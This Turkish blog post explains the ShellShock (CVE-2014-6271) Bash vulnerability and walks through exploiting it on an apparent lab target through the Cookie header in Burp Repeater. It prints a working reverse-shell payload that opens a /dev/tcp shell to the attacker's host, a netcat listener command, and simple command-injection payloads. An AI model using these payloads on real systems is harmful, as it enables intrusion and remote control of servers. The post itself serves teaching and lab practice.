ShellShock(Bash Bug) zafiyeti nedir?

Nuri Yavuz
4 min readJun 2, 2019

--

Linux ve Unix işletim sistemlerinin çoğu sürümünü potansiyel olarak etkileyen “ShellShock” veya “Bash Bug” olarak bilinen GNU Bash Remote Code Execution Güvenlik Açığı (CVE-2014–6271), saldırganın başarıyla exploit etmesi durumunda saldırganın hedeflenen bir bilgisayar
üzerinde denetim kazanmasına izin verebilir.

Güvenlik açığı, Linux ve Unix’in birçok sürümünde görünen ve shell olarak bilinen ortak bir bileşen olan Bash’i etkiler. Bash, bir komut dili yorumlayıcısı olarak görev yapar. Başka bir deyişle, kullanıcının komutları, işletim sisteminin daha sonra çalışacağı basit bir metin tabanlı pencereye yazmasına izin verir.

Bash, kendisine web sayfaları tarafından iletilen komutları çalıştırmak için de kullanılabilir ve bu güvenlik açığının etkilediği özelliktir.

Bash’e gönderilebilecek bir komut türü ortam değişkenlerinin (Environment Variables) ayarlanmasına izin verir.

Ortam değişkenleri(Environment Variables) dinamiktir,işlemlerin bir bilgisayarda çalıştırılma şeklini etkileyen adlandırılmış değerlerdir.

Güvenlik açığı, bir saldırganın, değişken(variable) alındıktan sonra çalıştırılacak olan çevre değişkenine(environment variable)
kötü amaçlı kod(malicious code) enjekte edebileceği gerçeğinden kaynaklanmaktadır.

Bu güvenlik açığını kritik olarak değerlendirmektedir, çünkü Bash, web sunucuları gibi internet bağlantılı bilgisayarlarda çalışan Linux ve Unix işletim sistemlerinde yaygın olarak kullanılmaktadır.

Bu, yalnızca bir saldırganın güvenli bir bilgisayardan veri çalmasına izin vermekle kalmayıp, saldırganın bilgisayar üzerinde denetim kazanmasını ve potansiyel olarak etkilenen ağdaki diğer bilgisayarlara erişim sağlamasını da sağlar.

Bu yazımda,hedef sistem üzerinde /cgi-bin/ klasörü altında bulunan dosyalar üzerinden bu açıklığın nasıl istismar edilebileceği uygulamalı olarak anlatacağım.Hadi başlayalım…

İlk olarak web üzerinden uygulamaya erişim sağlayalım daha sonra araya girilen bir proxy uygulaması(burp) ile istek yakalandığı zaman uygulamanın /cgi-bin/ dizinindeki user.sh adlı sayfayı(dosyayı) istediği aşağıdaki ekran
görüntüsünde görülmektedir.

Shellshock zafiyetinin birden fazla istismar yöntemi olmasına rağmen burada web üzerinden Cookie: bilgileri ile nasıl istismar edileceği anlatılacaktır.Arzu ederseniz payloadı Cookie: de değil de User-Agent: ta kullanabilirsiniz.Uygulama çalıştırılıp tekrar burp suite ile araya girildikten sonra HTTP isteği görülecektir. Bu isteği forward edip daha sonra HTTP history e gelip isteğe sağ tıklayıp repeater’a gönderelim ve oradan Cookie: bilgilerini değiştirerek açıklığı istismar edelim. Repeater’a gönderilen istekteki Cookie: değerine bir payload yazılarak hedef sistemden shell alınabilir.

Şimdi,ben ilk önce kullandığım kali distrosunda nc -lvp 5555 komutu ile 5555 numaralı portu dinlemeye alacağım daha sonra hedef sisteme (ShellShock zafiyetli web server,http://10.10.10.56/cgi-bin/user.sh) istek yapacağım,istek yapmadan önce Burp Suit proxy “interceptison” konumunda olduğu için araya girdik ve buradan isteğin içeriğine,5555 numaralı portta listen modda olan kaliye bağlanıp zafiyetli web serverda reverse shell
almamızı sağlayacak payloadı ekleyelim.

() { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.18/5555 0>&1

  1. )

nc -lvp 5555

— — — — — — — — — — — — — -

2.)

GET /cgi-bin/user.sh HTTP/1.1

Host: 10.10.10.56

Connection: close

Cookie: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.18/5555 0>&1

Buradaki ShellShock payloadını () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.18/5555 0>&1 ben Cookie: kısmına ekledim.Yani şöyle;
Cookie: () { :;}; echo; /bin/bash -i >& /dev/tcp/10.10.14.18/5555 0>&1

Ve burp ile araya girip repeaterda isteğin içeriğini değiştirdikten sonra Go diyelim.

Ve SHELL i elde ettik…

Gelen shell e bir kaç komut girelim.

Zafiyetli web server üzerinde komut çalıştırmanın tek yolu shell almak değil burp proxy den de yapılan isteğin içerisine komut enjekte edilebilir.

Cookie: () { :;}; echo; echo “DENEME”

Ya da bu şekilde;

Cookie: () { :;}; echo; /bin/ls

EOF

--

--

Nuri Yavuz
Nuri Yavuz

Written by Nuri Yavuz

“No effect is before the cause” in the same time “Cause doesn’t necessarily come before effect”

No responses yet